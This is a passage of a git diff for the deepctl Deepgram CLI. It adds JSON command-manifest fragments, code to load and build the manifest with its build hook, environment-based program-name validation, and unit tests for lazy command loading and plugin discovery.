+++ b/src/deepctl/_manifest.d/debug.json
@@ -0,0 +1,10 @@
+{
+  "name": "debug",
+  "module": "deepctl_cmd_debug.command",
+  "attr": "DebugCommand",
+  "dist": "deepctl-cmd-debug",
+  "summary": "Debug utilities",
+  "hidden": false,
+  "group": true,
+  "requires_auth": false
+}
diff --git a/src/deepctl/_manifest.d/ffprobe.json b/src/deepctl/_manifest.d/ffprobe.json
new file mode 100644
index 00000000..c5a6509b
--- /dev/null
+++ b/src/deepctl/_manifest.d/ffprobe.json
@@ -0,0 +1,9 @@
+{
+  "name": "ffprobe",
+  "module": "deepctl_cmd_ffprobe.command",
+  "attr": "FfprobeCommand",
+  "dist": "deepctl-cmd-ffprobe",
+  "summary": "Configure ffprobe",
+  "hidden": false,
+  "requires_auth": false
+}
diff --git a/src/deepctl/_manifest.d/init.json b/src/deepctl/_manifest.d/init.json
new file mode 100644
index 00000000..5183cbdd
--- /dev/null
+++ b/src/deepctl/_manifest.d/init.json
@@ -0,0 +1,9 @@
+{
+  "name": "init",
+  "module": "deepctl_cmd_init.command",
+  "attr": "InitCommand",
+  "dist": "deepctl-cmd-init",
+  "summary": "Scaffold a Deepgram starter app (alpha)",
+  "hidden": false,
+  "requires_auth": false
+}
diff --git a/src/deepctl/_manifest.d/keys.json b/src/deepctl/_manifest.d/keys.json
new file mode 100644
index 00000000..e146b14a
--- /dev/null
+++ b/src/deepctl/_manifest.d/keys.json
@@ -0,0 +1,9 @@
+{
+  "name": "keys",
+  "module": "deepctl_cmd_keys.command",
+  "attr": "KeysCommand",
+  "dist": "deepctl-cmd-keys",
+  "summary": "Manage API keys",
+  "hidden": false,
+  "requires_auth": true
+}
diff --git a/src/deepctl/_manifest.d/listen.json b/src/deepctl/_manifest.d/listen.json
new file mode 100644
index 00000000..a7c94235
--- /dev/null
+++ b/src/deepctl/_manifest.d/listen.json
@@ -0,0 +1,9 @@
+{
+  "name": "listen",
+  "module": "deepctl_cmd_listen.command",
+  "attr": "ListenCommand",
+  "dist": "deepctl-cmd-listen",
+  "summary": "Speech-to-text",
+  "hidden": false,
+  "requires_auth": true
+}
diff --git a/src/deepctl/_manifest.d/login.json b/src/deepctl/_manifest.d/login.json
new file mode 100644
index 00000000..2336192c
--- /dev/null
+++ b/src/deepctl/_manifest.d/login.json
@@ -0,0 +1,9 @@
+{
+  "name": "login",
+  "module": "deepctl_cmd_login.command",
+  "attr": "LoginCommand",
+  "dist": "deepctl-cmd-login",
+  "summary": "Log in to Deepgram",
+  "hidden": false,
+  "requires_auth": false
+}
diff --git a/src/deepctl/_manifest.d/logout.json b/src/deepctl/_manifest.d/logout.json
new file mode 100644
index 00000000..2cb75b84
--- /dev/null
+++ b/src/deepctl/_manifest.d/logout.json
@@ -0,0 +1,9 @@
+{
+  "name": "logout",
+  "module": "deepctl_cmd_login.command",
+  "attr": "LogoutCommand",
+  "dist": "deepctl-cmd-login",
+  "summary": "Log out of Deepgram",
+  "hidden": false,
+  "requires_auth": false
+}
diff --git a/src/deepctl/_manifest.d/mcp.json b/src/deepctl/_manifest.d/mcp.json
new file mode 100644
index 00000000..93178d63
--- /dev/null
+++ b/src/deepctl/_manifest.d/mcp.json
@@ -0,0 +1,9 @@
+{
+  "name": "mcp",
+  "module": "deepctl_cmd_mcp.command",
+  "attr": "McpCommand",
+  "dist": "deepctl-cmd-mcp",
+  "summary": "Run MCP proxy for Deepgram AI",
+  "hidden": false,
+  "requires_auth": false
+}
diff --git a/src/deepctl/_manifest.d/members.json b/src/deepctl/_manifest.d/members.json
new file mode 100644
index 00000000..814c6aa8
--- /dev/null
+++ b/src/deepctl/_manifest.d/members.json
@@ -0,0 +1,9 @@
+{
+  "name": "members",
+  "module": "deepctl_cmd_members.command",
+  "attr": "MembersCommand",
+  "dist": "deepctl-cmd-members",
+  "summary": "Manage members",
+  "hidden": false,
+  "requires_auth": true
+}
diff --git a/src/deepctl/_manifest.d/models.json b/src/deepctl/_manifest.d/models.json
new file mode 100644
index 00000000..61eaa57f
--- /dev/null
+++ b/src/deepctl/_manifest.d/models.json
@@ -0,0 +1,9 @@
+{
+  "name": "models",
+  "module": "deepctl_cmd_models.command",
+  "attr": "ModelsCommand",
+  "dist": "deepctl-cmd-models",
+  "summary": "List models",
+  "hidden": false,
+  "requires_auth": true
+}
diff --git a/src/deepctl/_manifest.d/plugin.json b/src/deepctl/_manifest.d/plugin.json
new file mode 100644
index 00000000..34c1a09e
--- /dev/null
+++ b/src/deepctl/_manifest.d/plugin.json
@@ -0,0 +1,10 @@
+{
+  "name": "plugin",
+  "module": "deepctl_cmd_plugin.command",
+  "attr": "PluginCommand",
+  "dist": "deepctl-cmd-plugin",
+  "summary": "Manage deepctl plugins",
+  "hidden": false,
+  "group": true,
+  "requires_auth": false
+}
diff --git a/src/deepctl/_manifest.d/profiles.json b/src/deepctl/_manifest.d/profiles.json
new file mode 100644
index 00000000..ac51e90c
--- /dev/null
+++ b/src/deepctl/_manifest.d/profiles.json
@@ -0,0 +1,9 @@
+{
+  "name": "profiles",
+  "module": "deepctl_cmd_login.command",
+  "attr": "ProfilesCommand",
+  "dist": "deepctl-cmd-login",
+  "summary": "Manage profiles",
+  "hidden": false,
+  "requires_auth": false
+}
diff --git a/src/deepctl/_manifest.d/projects.json b/src/deepctl/_manifest.d/projects.json
new file mode 100644
index 00000000..bfd5ea66
--- /dev/null
+++ b/src/deepctl/_manifest.d/projects.json
@@ -0,0 +1,9 @@
+{
+  "name": "projects",
+  "module": "deepctl_cmd_projects.command",
+  "attr": "ProjectsCommand",
+  "dist": "deepctl-cmd-projects",
+  "summary": "Manage projects",
+  "hidden": false,
+  "requires_auth": true
+}
diff --git a/src/deepctl/_manifest.d/read.json b/src/deepctl/_manifest.d/read.json
new file mode 100644
index 00000000..5e228748
--- /dev/null
+++ b/src/deepctl/_manifest.d/read.json
@@ -0,0 +1,9 @@
+{
+  "name": "read",
+  "module": "deepctl_cmd_read.command",
+  "attr": "ReadCommand",
+  "dist": "deepctl-cmd-read",
+  "summary": "Text intelligence",
+  "hidden": false,
+  "requires_auth": true
+}
diff --git a/src/deepctl/_manifest.d/requests.json b/src/deepctl/_manifest.d/requests.json
new file mode 100644
index 00000000..c3eff123
--- /dev/null
+++ b/src/deepctl/_manifest.d/requests.json
@@ -0,0 +1,9 @@
+{
+  "name": "requests",
+  "module": "deepctl_cmd_requests.command",
+  "attr": "RequestsCommand",
+  "dist": "deepctl-cmd-requests",
+  "summary": "Request history",
+  "hidden": false,
+  "requires_auth": true
+}
diff --git a/src/deepctl/_manifest.d/skills.json b/src/deepctl/_manifest.d/skills.json
new file mode 100644
index 00000000..a6b3b86f
--- /dev/null
+++ b/src/deepctl/_manifest.d/skills.json
@@ -0,0 +1,10 @@
+{
+  "name": "skills",
+  "module": "deepctl_cmd_skills.command",
+  "attr": "SkillsCommand",
+  "dist": "deepctl-cmd-skills",
+  "summary": "Manage AI coding assistant integrations for deepctl",
+  "hidden": false,
+  "group": true,
+  "requires_auth": false
+}
diff --git a/src/deepctl/_manifest.d/speak.json b/src/deepctl/_manifest.d/speak.json
new file mode 100644
index 00000000..ac5f2427
--- /dev/null
+++ b/src/deepctl/_manifest.d/speak.json
@@ -0,0 +1,9 @@
+{
+  "name": "speak",
+  "module": "deepctl_cmd_speak.command",
+  "attr": "SpeakCommand",
+  "dist": "deepctl-cmd-speak",
+  "summary": "Text-to-speech",
+  "hidden": false,
+  "requires_auth": true
+}
diff --git a/src/deepctl/_manifest.d/transcribe.json b/src/deepctl/_manifest.d/transcribe.json
new file mode 100644
index 00000000..4ab22514
--- /dev/null
+++ b/src/deepctl/_manifest.d/transcribe.json
@@ -0,0 +1,9 @@
+{
+  "name": "transcribe",
+  "module": "deepctl_cmd_transcribe.command",
+  "attr": "TranscribeCommand",
+  "dist": "deepctl-cmd-transcribe",
+  "summary": "Transcribe audio (deprecated alias for dg listen)",
+  "hidden": true,
+  "requires_auth": true
+}
diff --git a/src/deepctl/_manifest.d/update.json b/src/deepctl/_manifest.d/update.json
new file mode 100644
index 00000000..6e12b7ed
--- /dev/null
+++ b/src/deepctl/_manifest.d/update.json
@@ -0,0 +1,9 @@
+{
+  "name": "update",
+  "module": "deepctl_cmd_update.command",
+  "attr": "UpdateCommand",
+  "dist": "deepctl-cmd-update",
+  "summary": "Check for and install updates to deepctl",
+  "hidden": false,
+  "requires_auth": false
+}
diff --git a/src/deepctl/_manifest.d/usage.json b/src/deepctl/_manifest.d/usage.json
new file mode 100644
index 00000000..8a1b3a4a
--- /dev/null
+++ b/src/deepctl/_manifest.d/usage.json
@@ -0,0 +1,9 @@
+{
+  "name": "usage",
+  "module": "deepctl_cmd_usage.command",
+  "attr": "UsageCommand",
+  "dist": "deepctl-cmd-usage",
+  "summary": "View usage statistics",
+  "hidden": false,
+  "requires_auth": true
+}
diff --git a/src/deepctl/_manifest.d/whoami.json b/src/deepctl/_manifest.d/whoami.json
new file mode 100644
index 00000000..6fc434d2
--- /dev/null
+++ b/src/deepctl/_manifest.d/whoami.json
@@ -0,0 +1,9 @@
+{
+  "name": "whoami",
+  "module": "deepctl_cmd_login.command",
+  "attr": "WhoamiCommand",
+  "dist": "deepctl-cmd-login",
+  "summary": "Show auth status",
+  "hidden": false,
+  "requires_auth": false
+}
diff --git a/src/deepctl/_manifest.py b/src/deepctl/_manifest.py
new file mode 100644
index 00000000..c8eb520b
--- /dev/null
+++ b/src/deepctl/_manifest.py
@@ -0,0 +1,122 @@
+"""The command manifest at run time.
+
+``load()`` returns the manifest ``deepctl._manifest_build`` describes. An
+installed wheel carries ``deepctl/_manifest.json``, written by the build
+hook, and that file is read as is. A source tree (an editable install, unit
+CI) carries the fragments in ``deepctl/_manifest.d/`` instead; they are
+assembled in memory on each run, so the manifest can't go stale while the
+fragments are edited. ``source`` records which one was used ("built" or
+"fragments"), so a test can show a wheel never takes the fallback.
+
+Stdlib only: ``dg --help`` reads this before Click formats anything. A
+missing or unreadable manifest ends the run with one line on stderr and
+exit 1 (a broken install), never a traceback.
+"""
+
+from __future__ import annotations
+
+import json
+import os
+import sys
+from typing import Any
+
+_HERE = os.path.dirname(os.path.abspath(__file__))
+
+# "built" or "fragments" once load() has run.
+source: str | None = None
+_manifest: dict[str, Any] | None = None
+
+
+def load() -> dict[str, Any]:
+    """The manifest, read once per process."""
+    global _manifest, source
+    if _manifest is not None:
+        return _manifest
+    fragments = os.path.join(_HERE, "_manifest.d")
+    try:
+        if os.path.isdir(fragments):
+            from deepctl._manifest_build import assemble
+
+            manifest, kind = assemble(fragments), "fragments"
+        else:
+            with open(os.path.join(_HERE, "_manifest.json"), encoding="utf-8") as f:
+                manifest, kind = json.load(f), "built"
+        _check(manifest)
+    except (OSError, ValueError) as exc:
+        _unavailable(exc)
+    _manifest, source = manifest, kind
+    return manifest
+
+
+def _check(manifest: Any) -> None:
+    """The shape every reader relies on (format 1)."""
+    if not isinstance(manifest, dict) or manifest.get("manifest_version") != 1:
+        raise ValueError("unknown manifest format")
+    for key in ("commands", "aliases", "tools"):
+        if not isinstance(manifest.get(key), dict):
+            raise ValueError(f"no '{key}' table")
+
+
+def _unavailable(exc: BaseException) -> None:
+    """End the run: without the manifest dg has no commands."""
+    if isinstance(exc, OSError) and exc.strerror:
+        reason = f"{exc.strerror}: {exc.filename}" if exc.filename else exc.strerror
+    else:
+        reason = str(exc) or type(exc).__name__
+    try:
+        sys.stderr.write(
+            f"dg: command manifest missing or invalid ({reason}); reinstall deepctl\n"
+        )
+        sys.stderr.flush()
+    except (OSError, ValueError):
+        pass
+    raise SystemExit(1)
+
+
+def commands() -> dict[str, dict[str, Any]]:
+    """Command path (``"listen"``, ``"debug audio"``) to its entry."""
+    result: dict[str, dict[str, Any]] = load()["commands"]
+    return result
+
+
+def top_level() -> dict[str, dict[str, Any]]:
+    """The top-level commands, by name."""
+    return {path: entry for path, entry in commands().items() if " " not in path}
+
+
+def subcommands(group: str) -> dict[str, dict[str, Any]]:
+    """The built-in subcommands of ``group``, by name."""
+    prefix = f"{group} "
+    return {
+        path[len(prefix) :]: entry
+        for path, entry in commands().items()
+        if path.startswith(prefix)
+    }
+
+
+def aliases() -> dict[str, list[str]]:
+    """Hidden alias to the argv words it stands for."""
+    return {alias: path.split(" ") for alias, path in load()["aliases"].items()}
+
+
+def groups() -> set[str]:
+    """Top-level commands that are groups: they have built-in subcommands,
+    or their fragment says so (plugins can add subcommands to them)."""
+    names = {path.partition(" ")[0] for path in commands() if " " in path}
+    names |= {name for name, entry in top_level().items() if entry.get("group")}
+    return names
+
+
+def builtin_command_modules() -> dict[str, str]:
+    """Built-in command name to the one module it may be loaded from."""
+    return {name: entry["module"] for name, entry in top_level().items()}
+
+
+def builtin_subcommand_modules() -> dict[str, dict[str, str]]:
+    """Built-in group name to its subcommands' modules, by name."""
+    groups: dict[str, dict[str, str]] = {}
+    for path, entry in commands().items():
+        group, sep, name = path.partition(" ")
+        if sep:
+            groups.setdefault(group, {})[name] = entry["module"]
+    return groups
diff --git a/src/deepctl/_manifest_build.py b/src/deepctl/_manifest_build.py
new file mode 100644
index 00000000..bf30d8e8
--- /dev/null
+++ b/src/deepctl/_manifest_build.py
@@ -0,0 +1,264 @@
+"""Assemble ``deepctl/_manifest.json`` from the per-command fragments.
+
+Each built-in command owns one fragment, ``deepctl/_manifest.d/<cmd>.json``
+(``<parent>-<name>.json`` for a subcommand). ``assemble()`` checks every
+fragment and the rules that span fragments, then builds the manifest that
+``deepctl._manifest`` reads at run time:
+
+- ``manifest_version``: the format version (``MANIFEST_VERSION``).
+- ``commands``: command path (``"listen"``, ``"debug audio"``) to its import
+  path, distribution, help summary and flags.
+- ``aliases``: hidden alias (``"debug-audio"``) to the command path it runs.
+- ``tools``: MCP tool name to command path (empty until a command declares
+  one).
+
+The JSON Schema is ``docs/contracts/manifest.schema.json``. This module is
+stdlib only: it runs in the ``build_py`` hook (no third-party imports are
+available there) and, from a source tree, at run time. ``python -m
+deepctl._manifest_build [--check] [--out FILE] [FRAGMENT_DIR]`` runs it by
+hand; ``--check`` validates without writing.
+"""
+
+from __future__ import annotations
+
+import json
+import os
+import re
+import sys
+from typing import Any
+
+MANIFEST_VERSION = 1
+
+FRAGMENT_DIR_NAME = "_manifest.d"
+MANIFEST_NAME = "_manifest.json"
+
+# Command, alias and tool names: the plugin name rule (0.4.2), so a built-in
+# name is always one a plugin could also try to claim.
+NAME = re.compile(r"[a-z][a-z0-9-]{0,63}")
+TOOL_NAME = re.compile(r"[a-z][a-z0-9_]{0,63}")
+MODULE = re.compile(r"[A-Za-z_][A-Za-z0-9_]*(\.[A-Za-z_][A-Za-z0-9_]*)*")
+ATTR = re.compile(r"[A-Za-z_][A-Za-z0-9_]*")
+DIST = re.compile(r"[A-Za-z0-9]([A-Za-z0-9._-]*[A-Za-z0-9])?")
+
+_REQUIRED = {
+    "name": str,
+    "module": str,
+    "attr": str,
+    "dist": str,
+    "summary": str,
+}
+_OPTIONAL: dict[str, type | tuple[type, ...]] = {
+    "parent": str,
+    "hidden": bool,
+    "group": bool,
+    "requires_auth": bool,
+    "deprecated": (bool, str),
+    "aliases": list,
+    "tools": list,
+}
+
+
+class ManifestError(ValueError):
+    """A fragment, or the set of fragments, breaks a manifest rule."""
+
+
+def fragment_dir() -> str:
+    """The fragment directory next to this module."""
+    return os.path.join(os.path.dirname(os.path.abspath(__file__)), FRAGMENT_DIR_NAME)
+
+
+def _check_fragment(file_name: str, data: Any) -> dict[str, Any]:
+    where = f"{FRAGMENT_DIR_NAME}/{file_name}"
+    if not isinstance(data, dict):
+        raise ManifestError(f"{where}: a fragment must be a JSON object")
+    unknown = sorted(set(data) - set(_REQUIRED) - set(_OPTIONAL))
+    if unknown:
+        raise ManifestError(f"{where}: unknown keys {unknown}")
+    for key, kind in _REQUIRED.items():
+        if not isinstance(data.get(key), kind) or not data[key]:
+            raise ManifestError(f"{where}: '{key}' must be a non-empty string")
+    for key, kinds in _OPTIONAL.items():
+        if key in data and (
+            not isinstance(data[key], kinds)
+            # bool is an int subclass; keep "deprecated": 1 out
+            or (kinds is str and not data[key])
+        ):
+            raise ManifestError(f"{where}: '{key}' has the wrong type")
+    if data.get("deprecated") is False or data.get("deprecated") == "":
+        raise ManifestError(f"{where}: 'deprecated' is true or a non-empty string")
+    checks = (
+        ("name", NAME),
+        ("module", MODULE),
+        ("attr", ATTR),
+        ("dist", DIST),
+    )
+    for key, pattern in checks:
+        if pattern.fullmatch(data[key]) is None:
+            raise ManifestError(f"{where}: '{key}' {data[key]!r} is not valid")
+    if "parent" in data and NAME.fullmatch(data["parent"]) is None:
+        raise ManifestError(f"{where}: 'parent' {data['parent']!r} is not valid")
+    for alias in data.get("aliases", []):
+        if not isinstance(alias, str) or NAME.fullmatch(alias) is None:
+            raise ManifestError(f"{where}: alias {alias!r} is not valid")
+    for tool in data.get("tools", []):
+        if not isinstance(tool, str) or TOOL_NAME.fullmatch(tool) is None:
+            raise ManifestError(f"{where}: tool {tool!r} is not valid")
+    expected = (
+        f"{data['parent']}-{data['name']}.json"
+        if "parent" in data
+        else f"{data['name']}.json"
+    )
+    if file_name != expected:
+        raise ManifestError(f"{where}: this fragment must be named {expected}")
+    return data
+
+
+def load_fragments(directory: str | None = None) -> list[dict[str, Any]]:
+    """Every fragment in ``directory``, checked one by one, in name order."""
+    directory = directory or fragment_dir()
+    fragments = []
+    for file_name in sorted(os.listdir(directory)):
+        if not file_name.endswith(".json"):
+            continue
+        with open(os.path.join(directory, file_name), encoding="utf-8") as f:
+            try:
+                data = json.load(f)
+            except ValueError as exc:
+                raise ManifestError(
+                    f"{FRAGMENT_DIR_NAME}/{file_name}: not valid JSON ({exc})"
+                ) from None
+        fragments.append(_check_fragment(file_name, data))
+    if not fragments:
+        raise ManifestError(f"{directory}: no fragments")
+    return fragments
+
+
+def build(fragments: list[dict[str, Any]]) -> dict[str, Any]:
+    """The manifest for ``fragments``; raises ``ManifestError`` on a
+    duplicate command, alias or tool name, or a subcommand without its group."""
+    commands: dict[str, dict[str, Any]] = {}
+    top = {f["name"] for f in fragments if "parent" not in f}
+    for fragment in fragments:
+        parent = fragment.get("parent")
+        path = f"{parent} {fragment['name']}" if parent else fragment["name"]
+        if path in commands:
+            raise ManifestError(f"duplicate command '{path}'")
+        if parent is not None and parent not in top:
+            raise ManifestError(f"'{path}': no fragment for its group '{parent}'")
+        entry = {
+            "module": fragment["module"],
+            "attr": fragment["attr"],
+            "dist": fragment["dist"],
+            "summary": fragment["summary"],
+            "hidden": fragment.get("hidden", False),
+            "requires_auth": fragment.get("requires_auth", False),
+        }
+        if fragment.get("group"):
+            entry["group"] = True
+        if "deprecated" in fragment:
+            entry["deprecated"] = fragment["deprecated"]
+        commands[path] = entry
+
+    aliases: dict[str, str] = {}
+    tools: dict[str, str] = {}
+    for fragment in fragments:
+        parent = fragment.get("parent")
+        path = f"{parent} {fragment['name']}" if parent else fragment["name"]
+        for alias in fragment.get("aliases", []):
+            if alias in aliases or alias in top:
+                raise ManifestError(f"duplicate command or alias name '{alias}'")
+            aliases[alias] = path
+        for tool in fragment.get("tools", []):
+            if tool in tools:
+                raise ManifestError(f"duplicate tool name '{tool}'")
+            tools[tool] = path
+
+    return {
+        "manifest_version": MANIFEST_VERSION,
+        "commands": dict(sorted(commands.items())),
+        "aliases": dict(sorted(aliases.items())),
+        "tools": dict(sorted(tools.items())),
+    }
+
+
+def dumps(manifest: dict[str, Any]) -> str:
+    """The manifest as written to ``_manifest.json`` (stable bytes)."""
+    return json.dumps(manifest, indent=1, ensure_ascii=False, sort_keys=False) + "\n"
+
+
+def assemble(
+    directory: str | None = None, out_path: str | None = None
+) -> dict[str, Any]:
+    """Build the manifest from the fragments in ``directory`` and, when
+    ``out_path`` is given, write it there atomically."""
+    manifest = build(load_fragments(directory))
+    if out_path is not None:
+        tmp = f"{out_path}.{os.getpid()}.tmp"
+        with open(tmp, "w", encoding="utf-8") as f:
+            f.write(dumps(manifest))
+        os.replace(tmp, out_path)
+    return manifest
+
+
+def __getattr__(name: str) -> Any:
+    # ``BuildPy`` imports setuptools, so it's built only when the build
+    # backend asks for it (``[tool.setuptools.cmdclass]``), never at run time.
+    if name == "BuildPy":
+        return _build_py_class()
+    raise AttributeError(f"module {__name__!r} has no attribute {name!r}")
+
+
+def _build_py_class() -> type:
+    import importlib
+
+    # setuptools is there only when a build backend runs this.
+    build_py: Any = importlib.import_module("setuptools.command.build_py").build_py
+
+    class BuildPy(build_py):  # type: ignore[misc]
+        """``build_py`` that also writes ``deepctl/_manifest.json`` into the
+        build tree, so every wheel (and a wheel built from the sdist)
+        carries the assembled manifest. Editable installs read the
+        fragments from the source tree instead."""
+
+        def _manifest_path(self) -> str:
+            return os.path.join(self.build_lib, "deepctl", MANIFEST_NAME)
+
+        def run(self) -> None:
+            super().run()
+            if getattr(self, "editable_mode", False):
+                return
+            os.makedirs(os.path.dirname(self._manifest_path()), exist_ok=True)
+            assemble(fragment_dir(), self._manifest_path())
+
+        def get_outputs(self, include_bytecode: bool = True) -> list[str]:
+            outputs: list[str] = super().get_outputs(include_bytecode)
+            if not getattr(self, "editable_mode", False):
+                outputs.append(self._manifest_path())
+            return outputs
+
+    return BuildPy
+
+
+def _main(argv: list[str]) -> int:
+    check = "--check" in argv
+    args = [a for a in argv if a != "--check"]
+    out = None
+    if "--out" in args:
+        index = args.index("--out")
+        if index + 1 >= len(args):
+            sys.stderr.write("manifest: --out needs a file name\n")
+            return 2
+        out = args[index + 1]
+        del args[index : index + 2]
+    try:
+        manifest = assemble(args[0] if args else None, None if check else out)
+    except (ManifestError, OSError) as exc:
+        sys.stderr.write(f"manifest: {exc}\n")
+        return 1
+    if out is None and not check:
+        sys.stdout.write(dumps(manifest))
+    return 0
+
+
+if __name__ == "__main__":
+    sys.exit(_main(sys.argv[1:]))
diff --git a/src/deepctl/main.py b/src/deepctl/main.py
index 31c22d2d..9386780b 100644
--- a/src/deepctl/main.py
+++ b/src/deepctl/main.py
@@ -52,6 +52,30 @@ def capture_launcher() -> "str | None":
     return LAUNCHER
 
 
+PROG_NAME_ENV_VAR = "DEEPCTL_PROG_NAME"
+_PROG_FIRST = frozenset(
+    "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"
+)
+_PROG_REST = _PROG_FIRST | frozenset("._-")
+
+
+def prog_name_from_env() -> "str | None":
+    """``DEEPCTL_PROG_NAME`` without surrounding whitespace, when it is a
+    plain program name: an ASCII letter or digit, then ASCII letters,
+    digits, ``.``, ``_`` or ``-``, at most 64 characters. Anything else (a
+    path, a control character, a space, a shell metacharacter) is ignored,
+    as if unset: dg prints this name in usage lines, ``--version`` and
+    notices."""
+    name = os.environ.get(PROG_NAME_ENV_VAR, "").strip()
+    if (
+        0 < len(name) <= 64
+        and name[0] in _PROG_FIRST
+        and all(char in _PROG_REST for char in name)
+    ):
+        return name
+    return None
+
+
 def _rich_excepthook(
     exc_type: "type[BaseException]",
     exc: BaseException,
@@ -124,8 +148,12 @@ def _print_version() -> None:
             pass
 
 
-def main() -> None:
-    """Run deepctl for ``sys.argv``."""
+def main(prog: "str | None" = None) -> None:
+    """Run deepctl for ``sys.argv``.
+
+    ``prog`` is the program name for usage lines when ``DEEPCTL_PROG_NAME``
+    isn't set; the console scripts leave it to ``argv[0]``.
+    """
     from time import perf_counter
 
     started_at = perf_counter()
@@ -149,7 +177,7 @@ def main() -> None:
     sys.excepthook = _rich_excepthook
     from deepctl._cli import run
 
-    run(args, started_at)
+    run(args, started_at, prog)
 
 
 # Only at run time: type checkers then flag a misspelled name.
diff --git a/tests/unit/test_entry_point.py b/tests/unit/test_entry_point.py
index 3620f9fe..7490c51b 100644
--- a/tests/unit/test_entry_point.py
+++ b/tests/unit/test_entry_point.py
@@ -114,7 +114,7 @@ def test_old_names_still_resolve_from_deepctl_main(self) -> None:
         assert main_mod.cli is cli_mod.cli
         # Reading `cli` loads the commands, as importing this module used to.
         assert cli_mod._commands_loaded
-        assert callable(main_mod.preprocess_hyphenated_commands)
+        assert callable(main_mod.load_commands)
         with pytest.raises(AttributeError):
             main_mod.no_such_name  # noqa: B018
 
diff --git a/tests/unit/test_install_hook.py b/tests/unit/test_install_hook.py
index dde701a6..6790cbd6 100644
--- a/tests/unit/test_install_hook.py
+++ b/tests/unit/test_install_hook.py
@@ -15,7 +15,7 @@ def test_record_install_method_exits_1_when_save_fails():
 
     ctx = MagicMock(resilient_parsing=False)
     with (
-        patch.object(main_module, "Config") as config_cls,
+        patch("deepctl_core.Config") as config_cls,
         pytest.raises(SystemExit) as exc,
     ):
         config_cls.return_value.save.side_effect = OSError(30, "Read-only file system")
@@ -28,6 +28,6 @@ def test_record_install_method_success_exits_via_ctx():
     main_module = importlib.import_module("deepctl._cli")
 
     ctx = MagicMock(resilient_parsing=False)
-    with patch.object(main_module, "Config"):
+    with patch("deepctl_core.Config"):
         main_module._record_install_method_cb(ctx, MagicMock(), "pip")
     ctx.exit.assert_called_once_with()
diff --git a/tests/unit/test_lazy_group.py b/tests/unit/test_lazy_group.py
new file mode 100644
index 00000000..0cc608d1
--- /dev/null
+++ b/tests/unit/test_lazy_group.py
@@ -0,0 +1,542 @@
+"""The lazy root group: commands load on use, plugins on demand.
+
+Subprocess tests run the real entry point in a fresh interpreter, the way
+the console script does, with a throwaway HOME.
+"""
+
+from __future__ import annotations
+
+import json
+import os
+import re
+import subprocess
+import sys
+from pathlib import Path
+from typing import Any
+from unittest.mock import patch
+
+import click
+import pytest
+
+from deepctl import _cli, _manifest
+
+ENTRY = "import sys; from deepctl.main import main; sys.exit(main())"
+IMPORT_LINE = re.compile(r"^import time:\s+\d+\s+\|\s+\d+\s+\|\s?(\s*)(\S+)\s*$")
+
+
+def _env(tmp_path: Path, **extra: str) -> dict[str, str]:
+    env = {
+        k: v
+        for k, v in os.environ.items()
+        if not k.startswith(("DEEPGRAM_", "PYTHON", "DEEPCTL_"))
+    }
+    env.update(
+        HOME=str(tmp_path),
+        DEEPCTL_TELEMETRY_DISABLED="1",
+        DEEPCTL_TELEMETRY_DSN="http://k@127.0.0.1:9/1",
+        CI="1",
+    )
+    env.update(extra)
+    return env
+
+
+def _dg(
+    args: list[str], tmp_path: Path, *, module: bool = False, **env: str
+) -> subprocess.CompletedProcess[str]:
+    argv = (
+        [sys.executable, "-m", "deepctl", *args]
+        if module
+        else [sys.executable, "-c", ENTRY, *args]
+    )
+    return subprocess.run(
+        argv,
+        capture_output=True,
+        text=True,
+        env=_env(tmp_path, **env),
+        stdin=subprocess.DEVNULL,
+        timeout=120,
+    )
+
+
+def _imported(args: list[str], tmp_path: Path) -> list[str]:
+    proc = subprocess.run(
+        [sys.executable, "-X", "importtime", "-c", ENTRY, *args],
+        capture_output=True,
+        text=True,
+        env=_env(tmp_path),
+        stdin=subprocess.DEVNULL,
+        timeout=120,
+    )
+    assert proc.returncode == 0, proc.stderr[-2000:]
+    return [m.group(2) for m in map(IMPORT_LINE.match, proc.stderr.splitlines()) if m]
+
+
+@pytest.fixture
+def fresh_cli(monkeypatch: pytest.MonkeyPatch) -> _cli.LazyGroup:
+    """``cli`` as a new process sees it: nothing resolved or discovered."""
+    group = _cli.cli
+    monkeypatch.setattr(group, "commands", {})
+    monkeypatch.setattr(group, "eager", False)
+    monkeypatch.setattr(group, "_discovered", False)
+    monkeypatch.setattr(group, "_manager", None)
+    return group
+
+
+def _invoke(group: click.Group, args: list[str]) -> None:
+    try:
+        group.main(args=args, prog_name="dg", standalone_mode=False)
+    except click.exceptions.Exit:
+        pass
+
+
+class TestDiscovery:
+    """Plugins are discovered only for unknown names, --help, plugin list
+    and an allowed override."""
+
+    @pytest.mark.parametrize(
+        ("args", "discovers"),
+        [
+            (["models", "--help"], False),
+            (["debug-audio", "--help"], False),
+            (["--help"], True),
+            (["plugin", "list", "--help"], True),
+        ],
+    )
+    def test_when_discovery_runs(
+        self,
+        fresh_cli: _cli.LazyGroup,
+        args: list[str],
+        discovers: bool,
+        capsys: pytest.CaptureFixture[str],
+    ) -> None:
+        with patch(
+            "deepctl_core.plugin_manager.PluginManager.discover_plugins"
+        ) as discover:
+            _invoke(fresh_cli, args)
+        assert discover.called is discovers
+        capsys.readouterr()
+
+    def test_unknown_name_discovers(self, fresh_cli: _cli.LazyGroup) -> None:
+        with patch(
+            "deepctl_core.plugin_manager.PluginManager.discover_plugins"
+        ) as discover:
+            with pytest.raises(click.UsageError, match="No such command"):
+                fresh_cli.main(args=["nosuchcmd"], standalone_mode=False)
+        discover.assert_called_once()
+
+    def test_allowed_override_discovers_first(self, fresh_cli: _cli.LazyGroup) -> None:
+        plugin = click.Command("models", short_help="Plugin models")
+
+        def register(self: Any, group: click.Group) -> None:
+            group.add_command(plugin, name="models")
+
+        with (
+            patch(
+                "deepctl_core._plugin_trust.allow_override_names",
+                return_value=frozenset({"models"}),
+            ),
+            patch(
+                "deepctl_core.plugin_manager.PluginManager.discover_plugins", register
+            ),
+        ):
+            ctx = click.Context(fresh_cli)
+            assert fresh_cli.get_command(ctx, "models") is plugin
+
+    def test_builtin_never_loads_through_an_entry_point(
+        self, fresh_cli: _cli.LazyGroup
+    ) -> None:
+        with patch("importlib.metadata.entry_points") as entry_points:
+            ctx = click.Context(fresh_cli)
+            command = fresh_cli.get_command(ctx, "models")
+        assert command is not None and command.name == "models"
+        entry_points.assert_not_called()
+
+    def test_listing_comes_from_the_manifest(self, fresh_cli: _cli.LazyGroup) -> None:
+        ctx = click.Context(fresh_cli)
+        names = fresh_cli.list_commands(ctx)
+        assert set(_manifest.top_level()) <= set(names)
+        assert fresh_cli.commands == {}
+
+
+class TestDependencyMissing:
+    @pytest.fixture
